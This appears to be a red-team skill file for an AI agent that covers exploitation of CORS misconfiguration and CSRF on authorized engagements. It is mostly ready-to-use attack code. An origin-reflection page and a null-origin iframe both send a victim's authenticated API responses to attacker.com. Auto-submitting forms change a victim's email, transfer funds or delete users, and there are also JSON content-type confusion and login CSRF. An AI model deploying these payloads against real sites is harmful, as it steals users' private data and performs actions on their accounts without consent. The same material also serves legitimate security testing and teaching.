---
name: rt-cors-csrf
description: "CORS misconfiguration and CSRF attack skill for authorized engagements. CORS origin reflection exploitation, null origin bypass, subdomain-based CORS abuse, pre-flight bypass, CSRF token bypass techniques (referer validation, SameSite cookie bypass, token prediction), CSRF via content-type confusion, and login CSRF. Use when testing cross-origin resource sharing policies and cross-site request forgery protections."
---

# rt-cors-csrf — CORS Misconfiguration & CSRF

## Overview

**CORS misconfigurations** allow attacker origins to read responses from authenticated APIs — credentials, tokens, PII. **CSRF** tricks users into making unintended authenticated requests. Together they represent broken cross-origin controls, among the most common web vulnerabilities.

---

## Part 1 — CORS Misconfiguration

### Phase 1 — Detection

```bash
# Test CORS headers
curl -H "Origin: https://attacker.com" https://target.com/api/user -v 2>&1 | grep -i "access-control"
# Vulnerable if:
# Access-Control-Allow-Origin: https://attacker.com  ← reflects your origin
# Access-Control-Allow-Credentials: true             ← with credentials!

# Test variations
for origin in "https://attacker.com" "null" "https://target.com.attacker.com" "https://attackertarget.com"; do
    echo -n "$origin → "
    curl -s -I -H "Origin: $origin" https://target.com/api/ | grep -i "access-control-allow-origin"
done
```

### Phase 2 — Exploit Origin Reflection

```html
<!-- If Access-Control-Allow-Origin reflects any Origin + Allow-Credentials: true -->
<!-- Host on attacker.com: -->
<html><body>
<script>
fetch('https://target.com/api/user', {credentials: 'include'})
    .then(r => r.json())
    .then(data => {
        // Send victim's data to attacker
        fetch('https://attacker.com/collect', {
            method: 'POST',
            body: JSON.stringify(data)
        });
    });
</script>
</body></html>
<!-- Victim visits attacker.com → their authenticated API response stolen -->
```

### Phase 3 — Null Origin Bypass

```html
<!-- Some apps whitelist "null" origin (sandboxed iframes send null) -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        src="data:text/html,<script>
fetch('https://target.com/api/sensitive', {credentials:'include'})
    .then(r=>r.text())
    .then(d=>location='https://attacker.com/?'+encodeURIComponent(d))
</script>">
</iframe>
```

### Phase 4 — Subdomain Bypass

```bash
# CORS regex: /.*target\.com$/ → matches evil.target.com
# Find XSS on any subdomain → use it to make CORS request

# Or: register subdomain-lookalike
# Whitelist: *.target.com → register: attacker.target.com.evil.com? (no)
# But if regex: /target\.com/ → matches: attackertarget.com

# Test subdomain origin
curl -H "Origin: https://evil.target.com" https://target.com/api/
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
```

---

## Part 2 — CSRF

### Phase 5 — CSRF Detection

```bash
# Check for CSRF token in state-changing requests
# Capture POST/PUT/DELETE in Burp → look for _csrf, csrf_token, X-CSRF-Token header

# Test 1: Remove CSRF token
# If request succeeds without token → CSRF vulnerable

# Test 2: Use another user's CSRF token
# Log in as User A → get A's token → use in User B's request
# If succeeds → token not tied to session → CSRF vulnerable

# Test 3: Empty token
# Change csrf_token=VALID to csrf_token=
# If succeeds → validation flawed

# Test 4: Referer-only validation
curl -X POST https://target.com/change-password \
  -b "session=VICTIM_SESSION" \
  -d "new_password=hacked" \
  --referer "https://target.com"  # Forge referer
```

### Phase 6 — CSRF Exploit

```html
<!-- Classic CSRF — change victim's email -->
<html><body>
<form id="csrf" action="https://target.com/account/update" method="POST">
    <input name="email" value="attacker@evil.com">
    <input name="action" value="update">
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>

<!-- JSON CSRF (Content-Type: text/plain → server accepts) -->
<html><body>
<form id="csrf" action="https://target.com/api/transfer" method="POST"
      enctype="text/plain">
    <input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>

<!-- CSRF via fetch (if CORS allows null origin) -->
<iframe sandbox="allow-scripts" src="data:text/html,<script>
fetch('https://target.com/api/admin/delete', {
    method:'POST',
    credentials:'include',
    body:'user_id=victim'
})
</script>">
</iframe>
```

### Phase 7 — SameSite Cookie Bypass

```bash
# SameSite=Lax: cookies sent on top-level navigation GET requests
# Bypass: use GET-based state-changing endpoint if exists

# Test: does the action work via GET?
curl "https://target.com/account/delete?confirm=true" \
  -b "session=VICTIM_SESSION"

# SameSite=None without Secure: works cross-site (flag misconfiguration)
# SameSite not set (old default Lax): bypass via sibling subdomain + HTTPS redirect chain

# Login CSRF — force victim to log into attacker account
<form action="https://target.com/login" method="POST">
    <input name="username" value="attacker_account">
    <input name="password" value="attacker_password">
</form>
# Victim submits → now logged in as attacker → attacker reads victim's activity
```

---

## Skill Levels

**BEGINNER:** CORS header inspection · Basic CSRF with HTML form · Remove CSRF token test

**INTERMEDIATE:** Origin reflection exploit · Null origin iframe CORS · JSON CSRF

**ADVANCED:** Subdomain CORS bypass + XSS chaining · SameSite Lax bypass via GET state-change

**EXPERT:** Pre-flight bypass via non-simple methods · CSRF token prediction · Login CSRF chains

---

## References

- PortSwigger CORS: https://portswigger.net/web-security/cors
- PortSwigger CSRF: https://portswigger.net/web-security/csrf
- SameSite bypass research: https://portswigger.net/research/bypassing-samesite-cookie-restrictions
